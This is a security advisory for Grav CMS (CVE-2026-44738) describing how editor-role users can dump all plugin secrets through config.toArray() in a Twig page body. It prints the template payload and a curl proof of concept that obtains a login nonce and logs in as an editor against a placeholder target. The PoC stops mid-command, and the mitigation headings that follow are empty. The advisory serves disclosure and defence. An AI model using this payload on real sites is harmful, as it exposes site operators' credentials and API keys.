Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()
Date: 2026-05
Affected: composer/getgrav/grav
Attack vector: data-exfiltration
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-44738
CWE: CWE-200
CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Summary The Twig sandbox allow-list permits any user with the `admin.pages` role to call `config.toArray()` from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. ## Details The Twig sandbox allow-list in `system/config/security.yaml` explicitly permits `Config::toArray()` for the `Grav\Common\Config\Config` class: ```yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists' ``` The `config` object — which holds the full merged configuration tree including every key under `plugins.*` — is injected into every sandboxed render in `system/src/Grav/Common/Twig/Twig.php` (line 292): ```php $twig_vars = [..., 'config' => $config, ...] ``` Any editor with `admin.pages` can save a page with `process.twig: true` in the frontmatter and the following payload in the body: ``` {{ config.toArray()|json_encode|raw }} ``` When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under `user/config/plugins/*.yaml`. ## PoC ```bash # Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+') # Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlenc


Mitigations:

Architectural layers (MAESTRO):